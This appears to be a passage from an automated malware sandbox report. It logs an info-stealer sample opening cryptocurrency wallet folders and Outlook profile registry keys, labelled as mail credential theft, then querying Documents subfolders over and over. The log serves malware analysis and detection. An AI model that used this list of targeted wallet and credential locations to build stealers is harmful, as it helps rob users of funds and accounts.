Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
